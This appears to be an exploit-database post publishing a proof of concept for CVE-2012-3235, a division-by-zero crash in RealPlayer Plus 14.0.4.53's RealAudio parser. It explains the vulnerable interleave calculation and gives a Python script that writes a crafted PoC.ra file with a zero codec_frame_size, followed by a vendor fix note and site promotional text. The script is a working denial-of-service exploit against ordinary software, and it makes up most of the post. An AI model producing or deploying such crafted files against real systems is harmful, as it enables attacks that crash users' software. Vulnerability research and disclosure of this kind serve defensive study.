# Title : RealPlayer Plus 14.0.4.53 RealAudio Integer Division By Zero
# CVE : 2012-3235
# References : http://service.real.com/realplayer/security/06292012_player/en/
# Auther : Senator of Pirates
# E-Mail : [email protected]
# FaceBook : /SenatorofPiratesInfo
# Greeting : Morocco
# Bug:
-----
integer division by zero during the handling of RealAudio file causedby some fields
are under our control "has_interleave_pattern_flag" and "codec_frame_size".
"Has_interleave_pattern_flag" if this field is 1, then an interleave pattern follows this flag.
The total number of entries in the interleave pattern is "interleave_block_size" * "interleave_factor" / "codec_frame_size".
Vulnerable point is here, because we controlled value of "codec_frame_size field" and will be dividing
so if the value is 0 with division we will met an “integer division by zero” error.
if (header_has_interleave_pattern_flag != 0) {
num_frames_in_superblock = (interleave_factor *
interleave_block_size) / codec_frame_size;
for (i = 0; i < num_frames_in_superblock; i++)
# The Code:
-------------
code = ("\x2E\x52\x4D\x46\x00\x00\x00\x12\x00\x01\x00\x00\x00\x00\x00\x00\x00\x06\x50\x52\x4F\x50\x00\x00"
"\x00\x32\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x04\x12"
"\x00\x01\x27\xDE\x00\x00\x00\xF3\x00\x12\xB2\x1A\x00\x00\x02\x55\x00\x02\x00\x09\x43\x4F\x4E\x54"
"\x00\x00\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4D\x44\x50\x52\x00\x00\x00\x9F\x00\x00"
"\x00\x00\x00\x01\xF4\x00\x00\x01\xF4\x00\x00\x00\x05\x77\x00\x00\x04\x8B\x00\x00\x00\x00\x00\x00"
"\x00\xF3\x00\x01\x27\xDE\x0C\x41\x75\x64\x69\x6F\x20\x53\x74\x72\x65\x61\x6D\x14\x61\x75\x64\x69"
"\x6F\x2F\x78\x2D\x70\x6E\x2D\x72\x65\x61\x6C\x61\x75\x64\x69\x6F\x00\x00\x00\x51\x2E\x72\x61\xFD"
"\x00\x05\x00\x00\x2E\x72\x61\x35\x00\x00\x00\x10\x00\x05\x00\x00\x00\x41\x00\x02\x00\x00\x01\x73"
"\x00\x00\x00\x00\x00\x0E\xA6\x00\x00\x00\x00\x00\x00\x01\x01\x73");
code += ("\x00\x00"); # codec_frame_size
code += ("\x00\x00\x00\x00\xAC\x44\x00\x00\xAC\x44\x00\x00\x00\x10\x00\x02\x76\x62\x72\x73\x72\x61\x61\x63"
"\x01\x07\x00");
code += ("\x01"); # header_has_interleave_pattern_flag
code += ("\x00\x00\x00\x03\x02\x12\x10\x4D\x44\x50\x52\x00\x00\x01\x60\x00\x00\x00\x01\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x10\x6C\x6F\x67\x69\x63\x61\x6C\x2D\x66\x69\x6C\x65\x69\x6E\x66\x6F\x00\x00\x01\x22\x00\x00\x01"
"\x22\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x2F\x00\x00\x09\x41\x75\x64\x69\x65\x6E\x63\x65"
"\x73\x00\x00\x00\x02\x00\x19\x64\x74\x64\x72\x69\x76\x65\x5F\x63\x75\x73\x74\x6F\x6D\x5F\x61\x75"
"\x64\x69\x65\x6E\x63\x65\x3B\x00\x00\x00\x00\x1C\x00\x00\x09\x61\x75\x64\x69\x6F\x4D\x6F\x64\x65"
"\x00\x00\x00\x02\x00\x06\x6D\x75\x73\x69\x63\x00\x00\x00\x00\x2D\x00\x00\x0D\x43\x72\x65\x61\x74"
"\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36\x2F\x33\x30\x2F\x32\x30\x31\x32\x20"
"\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x50\x00\x00\x0C\x47\x65\x6E\x65\x72\x61\x74\x65"
"\x64\x20\x42\x79\x00\x00\x00\x02\x00\x37\x48\x65\x6C\x69\x78\x20\x50\x72\x6F\x64\x75\x63\x65\x72"
"\x20\x53\x44\x4B\x20\x31\x31\x2E\x31\x20\x66\x6F\x72\x20\x57\x69\x6E\x64\x6F\x77\x73\x2C\x20\x42"
"\x75\x69\x6C\x64\x20\x31\x31\x2E\x31\x2E\x30\x2E\x32\x38\x39\x35\x00\x00\x00\x00\x31\x00\x00\x11"
"\x4D\x6F\x64\x69\x66\x69\x63\x61\x74\x69\x6F\x6E\x20\x44\x61\x74\x65\x00\x00\x00\x02\x00\x13\x36"
"\x2F\x33\x30\x2F\x32\x30\x31\x32\x20\x31\x36\x3A\x35\x34\x3A\x33\x33\x00\x00\x00\x00\x1D\x00\x00"
"\x09\x76\x69\x64\x65\x6F\x4D\x6F\x64\x65\x00\x00\x00\x02\x00\x07\x6E\x6F\x72\x6D\x61\x6C\x00\x44"
"\x41\x54\x41\x00\x12\xAF\xC5\x00\x00\x00\x00\x04\x12\x00\x00\x00\x00\x00\x00\x04\xDF\x00\x00\x00"
"\x00\x00\x00\x00\x02\x00\x30\x01\x72\x01\x72\x01\xE7\x21\x1A\xC5\x00\x7D\x8B\x94\xA7\x37\xA0\xA8"
"\x03\xEC\x5C\xA7\x39\xBC\xC8\x3D\xBF\xFC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00");
try:
A = open("PoC.ra","wb")
A.write(code)
A.close()
print "[*] The file created [*]"
except:
print "[*] Error while creating file [*]"
print "[*] Enter to continue.. [*]"
raw_input()
# Fix:
-----
I contacted RealNetwork and they told me this issue is fixed in RealPlayer 15.0.5.109.
# 0day.today [2018-01-10] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation